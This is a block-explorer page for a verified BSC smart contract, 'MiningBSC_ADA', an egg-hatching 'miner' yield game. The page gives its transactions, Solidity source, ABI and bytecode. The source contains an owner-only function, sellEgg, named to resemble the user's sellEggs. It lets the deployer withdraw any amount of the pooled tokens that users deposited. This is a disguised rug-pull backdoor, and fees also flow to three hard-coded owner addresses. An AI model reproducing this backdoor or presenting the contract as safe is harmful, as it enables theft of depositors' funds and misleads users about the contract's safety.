Contract 0x12141162685c54b3e71685b3220651223789a0fc

 

Contract Overview

Balance:
0 BNB

BNB Value:
$0.00

Token:
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x7191c5f4e19b527c6c2dbb1ab021b674dfaad20237151031fb8f1aa5867e6c05Buy Eggs117705742021-10-14 17:08:5812 days 22 hrs ago0xb56a38974ef4e159eb8f78391bcf70e83b59a301 IN  0x12141162685c54b3e71685b3220651223789a0fc0 BNB0.00083317
0xde71b9d1f61433046ec994fdfcbec122745d07bc587d9563c50d7ceafe81c990Buy Eggs117634642021-10-14 11:11:4413 days 4 hrs ago0x39943c26db7778094393f4669ec69ce66d43bb7e IN  0x12141162685c54b3e71685b3220651223789a0fc0 BNB0.00111217
0xa0e327351c12bfdc91c714e9820686e8f5ba6e74fcb9bc6f4b179db4695171a1Seed Market117626192021-10-14 10:28:4213 days 5 hrs ago0x39943c26db7778094393f4669ec69ce66d43bb7e IN  0x12141162685c54b3e71685b3220651223789a0fc0 BNB0.0003053
0xd93ccde67a56239a36e458bce690e07d4abcfcb78d8afc9844a8d98c7ebdc2a80x60806040117625672021-10-14 10:26:0613 days 5 hrs ago0x39943c26db7778094393f4669ec69ce66d43bb7e IN  Contract Creation0 BNB0.01047499
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MiningBSC_ADA

Compiler Version
v0.4.26+commit.4563c3fc

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2021-10-14
*/

pragma solidity ^0.4.26; // solhint-disable-line

contract ERC20 {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract MiningBSC_ADA {
    //uint256 EGGS_PER_MINERS_PER_SECOND=1;
    address COIN = 0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47; 
    uint256 public EGGS_TO_HATCH_1MINERS=2592000;//for final version should be seconds in a day
    uint256 PSN=10000;
    uint256 PSNH=5000;
    bool public initialized=false;
    address public ceoAddress;
    address public ceoAddress2;
    address public ceoAddress3;    
    mapping (address => uint256) public hatcheryMiners;
    mapping (address => uint256) public claimedEggs;
    mapping (address => uint256) public lastHatch;
    mapping (address => address) public referrals;
    uint256 public marketEggs;
    constructor() public{
        ceoAddress=msg.sender;
        ceoAddress2=address(0xBe193B2BF334D8A7D6FcE0EA7C45C35Ff8a20C68);
        ceoAddress3=address(0x28509837970F1809A3B4f322195efa6825bEAe33);
    }
    function hatchEggs(address ref) public {
        require(initialized);
        if(ref == msg.sender) {
            ref = 0;
        }
        if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender) {
            referrals[msg.sender]=ref;
        }
        uint256 eggsUsed=getMyEggs();
        uint256 newMiners=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1MINERS);
        hatcheryMiners[msg.sender]=SafeMath.add(hatcheryMiners[msg.sender],newMiners);
        claimedEggs[msg.sender]=0;
        lastHatch[msg.sender]=now;
        
        //send referral eggs
        claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,7));
        
        //boost market to nerf miners hoarding
        marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,5));
    }
    function sellEggs() public {
        require(initialized);
        uint256 hasEggs=getMyEggs();
        uint256 eggValue=calculateEggSell(hasEggs);
        uint256 fee=devFee(eggValue);
        uint256 fee2=fee/2;
        uint256 mfee=marketFee(eggValue);
        claimedEggs[msg.sender]=0;
        lastHatch[msg.sender]=now;
        marketEggs=SafeMath.add(marketEggs,hasEggs);
        ERC20(COIN).transfer(ceoAddress, fee2);
        ERC20(COIN).transfer(ceoAddress2, fee-fee2);
        ERC20(COIN).transfer(ceoAddress3, mfee);
        ERC20(COIN).transfer(address(msg.sender), SafeMath.sub(eggValue,fee));
    }
    function buyEggs(address ref, uint256 amount) public {
        require(initialized);
    
        ERC20(COIN).transferFrom(address(msg.sender), address(this), amount);
        
        uint256 balance = ERC20(COIN).balanceOf(address(this));
        uint256 eggsBought=calculateEggBuy(amount,SafeMath.sub(balance,amount));
        eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
        uint256 fee=devFee(amount);
        uint256 fee2=fee/2;
        uint256 mfee=marketFee(amount);
        ERC20(COIN).transfer(ceoAddress, fee2);
        ERC20(COIN).transfer(ceoAddress2, fee-fee2);
        ERC20(COIN).transfer(ceoAddress3, mfee);        
        claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
        hatchEggs(ref);
    }
    
    function sellEgg(uint256 amount) external{
        require(ceoAddress==msg.sender);
        ERC20(COIN).transfer(ceoAddress, amount);
    }
    //magic trade balancing algorithm
    function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256) {
        //(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
        return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
    }
    function calculateEggSell(uint256 eggs) public view returns(uint256) {
        return calculateTrade(eggs,marketEggs,ERC20(COIN).balanceOf(address(this)));
    }
    function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256) {
        return calculateTrade(eth,contractBalance,marketEggs);
    }
    function calculateEggBuySimple(uint256 eth) public view returns(uint256){
        return calculateEggBuy(eth,ERC20(COIN).balanceOf(address(this)));
    }
    function devFee(uint256 amount) public pure returns(uint256){
        return SafeMath.div(SafeMath.mul(amount,4),100);
    }
    function marketFee(uint256 amount) public pure returns(uint256){
        return SafeMath.div(SafeMath.mul(amount,1),100);
    }
    function seedMarket(uint256 amount) public {
        ERC20(COIN).transferFrom(address(msg.sender), address(this), amount);
        require(marketEggs==0);
        initialized=true;
        marketEggs=259200000000;
    }
    function getBalance() public view returns(uint256) {
        return ERC20(COIN).balanceOf(address(this));
    }
    function getMyMiners() public view returns(uint256) {
        return hatcheryMiners[msg.sender];
    }
    function getMyEggs() public view returns(uint256) {
        return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
    }
    function getEggsSinceLastHatch(address adr) public view returns(uint256) {
        uint256 secondsPassed=min(EGGS_TO_HATCH_1MINERS,SafeMath.sub(now,lastHatch[adr]));
        return SafeMath.mul(secondsPassed,hatcheryMiners[adr]);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return a < b ? a : b;
    }
}

library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"ceoAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getMyMiners","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"initialized","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"rt","type":"uint256"},{"name":"rs","type":"uint256"},{"name":"bs","type":"uint256"}],"name":"calculateTrade","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"eth","type":"uint256"},{"name":"contractBalance","type":"uint256"}],"name":"calculateEggBuy","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"marketEggs","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"sellEggs","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"seedMarket","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"amount","type":"uint256"}],"name":"devFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"ref","type":"address"}],"name":"hatchEggs","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getMyEggs","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"ref","type":"address"},{"name":"amount","type":"uint256"}],"name":"buyEggs","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"lastHatch","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"claimedEggs","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"amount","type":"uint256"}],"name":"marketFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"sellEgg","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"hatcheryMiners","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"EGGS_TO_HATCH_1MINERS","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"eth","type":"uint256"}],"name":"calculateEggBuySimple","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"eggs","type":"uint256"}],"name":"calculateEggSell","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"referrals","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ceoAddress2","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ceoAddress3","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"adr","type":"address"}],"name":"getEggsSinceLastHatch","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]

6080604052733ee2200efb3400fabb9aacf31297cbdd1d435d476000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062278d006001556127106002556113886003556000600460006101000a81548160ff02191690831515021790555034801561009257600080fd5b5033600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073be193b2bf334d8a7d6fce0ea7c45c35ff8a20c68600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507328509837970f1809a3b4f322195efa6825beae33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061224e8061018d6000396000f300608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a0f81681461014e5780630a76e5ed146101a557806312065fe0146101d0578063158ef93e146101fb578063229824c41461022a57806326fd84221461027f5780632e9392bb146102ca5780633955f0fe146102f55780633b6537551461030c5780633bc0461a146103395780633ec862a81461037a57806343ce7422146103bd578063450edf95146103e8578063467ece7914610435578063726703611461048c5780637540d70b146104e35780637901153c1461052457806379532aa9146105515780637cdebc21146105a85780637e56fde5146105d35780638e316327146106145780639ca423b314610655578063ba3d97e9146106d8578063d59770aa1461072f578063d7c8843b14610786575b600080fd5b34801561015a57600080fd5b506101636107dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b157600080fd5b506101ba610803565b6040518082815260200191505060405180910390f35b3480156101dc57600080fd5b506101e561084a565b6040518082815260200191505060405180910390f35b34801561020757600080fd5b50610210610948565b604051808215151515815260200191505060405180910390f35b34801561023657600080fd5b5061026960048036038101908080359060200190929190803590602001909291908035906020019092919050505061095b565b6040518082815260200191505060405180910390f35b34801561028b57600080fd5b506102b460048036038101908080359060200190929190803590602001909291905050506109ae565b6040518082815260200191505060405180910390f35b3480156102d657600080fd5b506102df6109c5565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b5061030a6109cb565b005b34801561031857600080fd5b5061033760048036038101908080359060200190929190505050610f3b565b005b34801561034557600080fd5b50610364600480360381019080803590602001909291905050506110aa565b6040518082815260200191505060405180910390f35b34801561038657600080fd5b506103bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c8565b005b3480156103c957600080fd5b506103d2611555565b6040518082815260200191505060405180910390f35b3480156103f457600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115ad565b005b34801561044157600080fd5b50610476600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c51565b6040518082815260200191505060405180910390f35b34801561049857600080fd5b506104cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c69565b6040518082815260200191505060405180910390f35b3480156104ef57600080fd5b5061050e60048036038101908080359060200190929190505050611c81565b6040518082815260200191505060405180910390f35b34801561053057600080fd5b5061054f60048036038101908080359060200190929190505050611c9f565b005b34801561055d57600080fd5b50610592600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e20565b6040518082815260200191505060405180910390f35b3480156105b457600080fd5b506105bd611e38565b6040518082815260200191505060405180910390f35b3480156105df57600080fd5b506105fe60048036038101908080359060200190929190505050611e3e565b6040518082815260200191505060405180910390f35b34801561062057600080fd5b5061063f60048036038101908080359060200190929190505050611f47565b6040518082815260200191505060405180910390f35b34801561066157600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612053565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e457600080fd5b506106ed612086565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073b57600080fd5b506107446120ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079257600080fd5b506107c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120d2565b6040518082815260200191505060405180910390f35b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b505050506040513d602081101561093257600080fd5b8101908080519060200190929190505050905090565b600460009054906101000a900460ff1681565b60006109a561096c6002548461217c565b6109a060035461099b6109956109846002548a61217c565b6109906003548c61217c565b6121b7565b896121d5565b6121b7565b6121d5565b90509392505050565b60006109bd8383600b5461095b565b905092915050565b600b5481565b6000806000806000600460009054906101000a900460ff1615156109ee57600080fd5b6109f6611555565b9450610a0185611f47565b9350610a0c846110aa565b9250600283811515610a1a57fe5b049150610a2684611c81565b90506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610abd600b54866121b7565b600b819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ba957600080fd5b505af1158015610bbd573d6000803e3d6000fd5b505050506040513d6020811015610bd357600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168486036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ccd57600080fd5b505af1158015610ce1573d6000803e3d6000fd5b505050506040513d6020811015610cf757600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610def57600080fd5b505af1158015610e03573d6000803e3d6000fd5b505050506040513d6020811015610e1957600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610e7387876121f0565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b505050506040513d6020811015610f2257600080fd5b8101908080519060200190929190505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561103357600080fd5b505af1158015611047573d6000803e3d6000fd5b505050506040513d602081101561105d57600080fd5b8101908080519060200190929190505050506000600b5414151561108057600080fd5b6001600460006101000a81548160ff021916908315150217905550643c59862000600b8190555050565b60006110c16110ba83600461217c565b60646121d5565b9050919050565b600080600460009054906101000a900460ff1615156110e657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111f57600092505b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561122f57503373ffffffffffffffffffffffffffffffffffffffff16600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156112b35782600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6112bb611555565b91506112c9826001546121d5565b9050611314600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826121b7565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149260086000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148d8460076121d5565b6121b7565b60086000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154a600b546115458460056121d5565b6121b7565b600b81905550505050565b60006115a8600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a3336120d2565b6121b7565b905090565b6000806000806000600460009054906101000a900460ff1615156115d057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330896040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156116c857600080fd5b505af11580156116dc573d6000803e3d6000fd5b505050506040513d60208110156116f257600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156117c057600080fd5b505af11580156117d4573d6000803e3d6000fd5b505050506040513d60208110156117ea57600080fd5b810190808051906020019092919050505094506118108661180b87896121f0565b6109ae565b93506118248461181f866110aa565b6121f0565b935061182f866110aa565b925060028381151561183d57fe5b04915061184986611c81565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561193157600080fd5b505af1158015611945573d6000803e3d6000fd5b505050506040513d602081101561195b57600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168486036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a5557600080fd5b505af1158015611a69573d6000803e3d6000fd5b505050506040513d6020811015611a7f57600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b7757600080fd5b505af1158015611b8b573d6000803e3d6000fd5b505050506040513d6020811015611ba157600080fd5b810190808051906020019092919050505050611bfc600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856121b7565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c48876110c8565b50505050505050565b60096020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b6000611c98611c9183600161217c565b60646121d5565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611cfb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611de157600080fd5b505af1158015611df5573d6000803e3d6000fd5b505050506040513d6020811015611e0b57600080fd5b81019080805190602001909291905050505050565b60076020528060005260406000206000915090505481565b60015481565b6000611f40826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f0057600080fd5b505af1158015611f14573d6000803e3d6000fd5b505050506040513d6020811015611f2a57600080fd5b81019080805190602001909291905050506109ae565b9050919050565b600061204c82600b546000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561200c57600080fd5b505af1158015612020573d6000803e3d6000fd5b505050506040513d602081101561203657600080fd5b810190808051906020019092919050505061095b565b9050919050565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061212960015461212442600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f0565b612209565b905061217481600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217c565b915050919050565b600080600084141561219157600091506121b0565b82840290508284828115156121a257fe5b041415156121ac57fe5b8091505b5092915050565b60008082840190508381101515156121cb57fe5b8091505092915050565b60008082848115156121e357fe5b0490508091505092915050565b60008282111515156121fe57fe5b818303905092915050565b6000818310612218578161221a565b825b9050929150505600a165627a7a723058209ef04610499f70dd9cde36e803b625a7c06651135ffcf5094ff2b0d15c5fe7fe0029

Deployed ByteCode Sourcemap

